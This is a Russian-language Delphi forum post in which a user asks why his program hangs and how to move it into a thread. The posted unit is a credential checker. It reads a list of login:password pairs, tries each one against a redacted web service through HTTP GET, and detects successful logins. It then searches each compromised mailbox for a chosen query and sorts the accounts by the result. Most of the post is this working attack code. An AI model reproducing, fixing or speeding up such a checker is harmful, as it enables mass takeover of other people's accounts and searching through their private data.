Показать сообщение отдельно
  #6  
Старый 16.04.2015, 10:24
AlexBerg001 AlexBerg001 вне форума
Прохожий
 
Регистрация: 13.04.2015
Сообщения: 24
Версия Delphi: Delphi 2010
Репутация: 10
По умолчанию

Спасибо за подсказки, да всё стало работать)))
Блин, поторопился с выводами, обрабатывает буквально несколько строк и виснет(((
Всё-таки надо наверное как-нибудь поток создавать и в него это всё помещать. Я создал поток, переместил type и procedure на первую форму, добавил constructor и в procedure переместил тот код, который выполнялся по нажатию кнопки Старт, подобавлял перед выражениями TForm2. Но проект всё-равно не хочет компилироваться, пишет что ему неизвестен IdHTTP и ещё гора ошибок. Как сделать правильно-то?
В общем без потока код выглядит вот так:
Код:
unit Unit2;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sButton, ComCtrls, acProgressBar, sMemo,
  sLabel, sEdit, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient,
  IdHTTP, IdIOHandler, IdIOHandlerSocket, IdIOHandlerStack, IdSSL, IdSSLOpenSSL,
  IdCookieManager, IdIntercept, IdCompressionIntercept, sDialogs, sGauge;

type
  TForm2 = class(TForm)
    sMemo1: TsMemo;
    sButton1: TsButton;
    IdHTTP1: TIdHTTP;
    IdSSLIOHandlerSocketOpenSSL1: TIdSSLIOHandlerSocketOpenSSL;
    sEdit3: TsEdit;
    sLabel3: TsLabel;
    sLabel4: TsLabel;
    sLabel5: TsLabel;
    sMemo2: TsMemo;
    sButton2: TsButton;
    sOpenDialog1: TsOpenDialog;
    sLabel6: TsLabel;
    sLabel7: TsLabel;
    sLabel8: TsLabel;
    sLabel9: TsLabel;
    sSkinManager1: TsSkinManager;
    procedure sButton1Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;


var
  Form2: TForm2;
  Accounts: TStringList;
  Login, Password, del: string;

implementation

{$R *.dfm}



procedure TForm2.sButton2Click(Sender: TObject);
begin
Accounts:=TStringList.Create;
if sOpenDialog1.Execute then
begin
  Accounts.LoadFromFile(sOpenDialog1.FileName);
  sLabel9.Caption:=inttostr(Accounts.Count);
  end;
if pos(';', Accounts.Strings[0])<>0 then
begin
  del:=';';
end else
begin
del:=':';
 end;
end;




procedure TForm2.sButton1Click(Sender: TObject);
  var
  HTML: string;
  Acc: integer;
begin
if del=';' then
for Acc := 0 to Accounts.Count-1 do
 begin
 Login:=copy(Accounts[Acc], 1, pos(';', Accounts[Acc])-1);
 Password:=copy(Accounts[Acc], pos(';', Accounts[Acc])+1, MaxInt);
 HTML:=IdHTTP1.Get('http://xxxxxx&Login='+Login+'&Password='+Password);
 if pos ('class="button__valign"', HTML)<>0 then
  begin
   HTML:=IdHTTP1.Get('https://xxxxxx/gosearch?q%5Fquery='+sEdit3.Text+'&q%5Ffolder=all');
   if pos ('class="gosearch-message"', HTML)<>0 then
    begin
     sMemo2.Lines.Add(Login+';'+Password);
     sLabel6.Caption:=inttostr(sMemo2.Lines.Count);
    end
    else
    begin
     sMemo1.Lines.Add(Login+';'+Password);
     sLabel7.Caption:=inttostr(sMemo1.Lines.Count);
    end;
  end
else
begin
sMemo2.Lines.Add(Login+';'+Password);
sLabel6.Caption:=inttostr(sMemo2.Lines.Count);
end;

end;

if del=':' then
for Acc := 0 to Accounts.Count-1 do
begin
Login:=copy(Accounts.Strings[Acc], 1, pos(':', Accounts.Strings[Acc])-1);
Password:=copy(Accounts.Strings[Acc], pos(':', Accounts.Strings[Acc])+1, MaxInt);
 HTML:=IdHTTP1.Get('http://xxxxxx&Login='+Login+'&Password='+Password);
 if pos ('class="button__valign"', HTML)<>0 then
  begin
   HTML:=IdHTTP1.Get('https://xxxxxx/gosearch?q%5Fquery='+sEdit3.Text+'&q%5Ffolder=all');
   if pos ('class="gosearch-message"', HTML)<>0 then
    begin
     sMemo2.Lines.Add(Login+':'+Password);
     sLabel6.Caption:=inttostr(sMemo2.Lines.Count);
    end
    else
    begin
     sMemo1.Lines.Add(Login+':'+Password);
     sLabel7.Caption:=inttostr(sMemo1.Lines.Count);
    end;
  end
else
begin
sMemo2.Lines.Add(Login+':'+Password);
sLabel6.Caption:=inttostr(sMemo2.Lines.Count);
end;

end;

end;



end.